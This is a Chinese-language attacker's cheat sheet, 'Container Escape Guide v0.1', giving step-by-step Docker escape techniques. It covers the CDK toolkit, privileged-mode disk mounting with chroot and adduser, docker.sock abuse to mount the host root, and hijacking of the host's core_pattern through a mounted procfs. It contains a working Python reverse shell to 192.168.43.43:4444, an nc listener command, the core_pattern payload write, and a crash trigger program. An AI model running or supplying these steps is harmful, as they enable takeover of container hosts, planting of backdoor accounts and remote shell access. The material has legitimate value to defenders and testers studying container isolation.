## 容器逃逸指北 ----v0.1
容器逃逸指北 ----v0.1
初始访问
确定容器
ls -alh /.dockerenv 现在为空就是在容器里面,这是以前的一个容器
简单指令
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
关于是不是蜜罐
看一下挂载的目录大小
mount #挂载目录情况
df -h 磁盘大小
可以输入一些常用指令
netstat -na|grep ESTABLISHED
ifconfig
逃逸CDK
利用http等服务把CDK给上传到目标机子上,它会进行一些操作
这个就是利用CDK进行逃逸,优先测试这个说不定会存在一些key之类的泄露之类的会有其他价值
https://github.com/cdk-team/CDK
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate 收集资料,找出docker的基本情况,挂载之类的
cdk evaluate --full 勾选full会扫描文件,说不定有key呢
Exploit:
cdk run --list 列举全部exp
cdk run <exploit> [<args>...] 执行指定的exp
Tool: 这个是用来搞定docker里面缺少某系包
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl (get|post) <url> <data> Make request to K8s api-server.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Show this help msg.
-v --version Show version.
特权逃逸
这个东西呢在CDK中也会有扫描但是呢,就不怕一万就怕万一扫掉了呢万一有呢
判断是否是特权启动
fdisk -l 默认情况下这个是没法查看的
查看 CapEff 特权值是:0000003fffffffff
cat /proc/self/status | grep CapEff
cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"
逃逸方式
查看一下当前那些有那些磁盘
fdlisk -l (没截到图假如存在一个/dev/docker1)
在内部执行命令把物理机的磁盘给挂到docker的一个目录
mkdir tmp/.1 && mount /dev/sda1 /tmp/.1
然后我们就访问.1这个文件夹就是访问docker1这个磁盘文件夹
后续的拿shell
先切换到目录 cd /tmp/.1
一个是切换目录去执行定时任务
还有这个指令 chroot ./bash
增加
chroot /mnt adduser john 增加用户
解释一下 chroot指令的含义,就有点类似于我理解的虚拟机就是,我可以在这个目录下创建一个新的结构,这个结构就是我们传进去的东西无法访问之外的是不是就很像一个虚拟机
官方的解释
建立一个与原系统隔离的系统目录结构,方便用户的开发:
使用 chroot 后,系统读取的是新根下的目录和文件,这是一个与原系统根下文件不相关的目录结构。在这个新的环境中,可以用来测试软件的静态编译以及一些与系统不相关的独立开发
挂载Docker Socket 逃逸
检测是否存在这个挂载,如果存在docker.sock这个文件就说明漏洞可能存在
ls -lah /var/run/docker.sock
便携指令
ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."
这个逃逸的原理了是更上面特权逃逸有点类似都会存在一个权限的问题,首先什么是Docker SocketDocker Socket 用来与守护进程通信即查询信息或者下发命令。
大概流程就是我们通过dockersocket去构建一个一个新的容器然后去吧 docker run -it -v /:/host ubuntu:18.04 /bin/bash
docker run -it -v /:/host ubuntu:18.04 /bin/bash
chroot /host
挂载宿主机 procfs 逃逸
检测是否存在宿主机是否挂载了core_patterb 文件 如果存在两个文件的话就可能存在
#查找 core_pattern 文件
find / -name core_pattern
#查找绝对路径
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
例子(/var/lib/docker/overlay2/5717cb9154218ec49579ae338cd1c236694d6a377d61fd6d17e11e49d1b1baad/merged)
后续需要GCC
构建一个反弹shell脚本
#!/usr/bin/python3
import os
import pty
import socket
lhost = "192.168.43.43"
lport = 4444
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.t.py')
s.close()
if __name__ == "__main__":
main()
记得 nc -lnvp 4444
然后写入shell
echo -e "|/var/lib/docker/overlay2/5717cb9154218ec49579ae338cd1c236694d6a377d61fd6d17e11e49d1b1baad/merged/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern
编译一个出问题的二进制文件出来
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
编译 gcc callby.c - o callby 执行
原理:Docker默认情况下不会为容器开启 User Namespace
从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
一般情况下不会将宿主机的 procfs 挂载到容器中,然而有些业务为了实现某些特殊需要,还是会有这种情况发生。
小结
这些是暂时总结出来的一些应用大体的流程还是就先把CDK丢上去然后跑信息收集,跑key这些东西后续收集到的东西如果可能的话再跟着笔记一步一步来。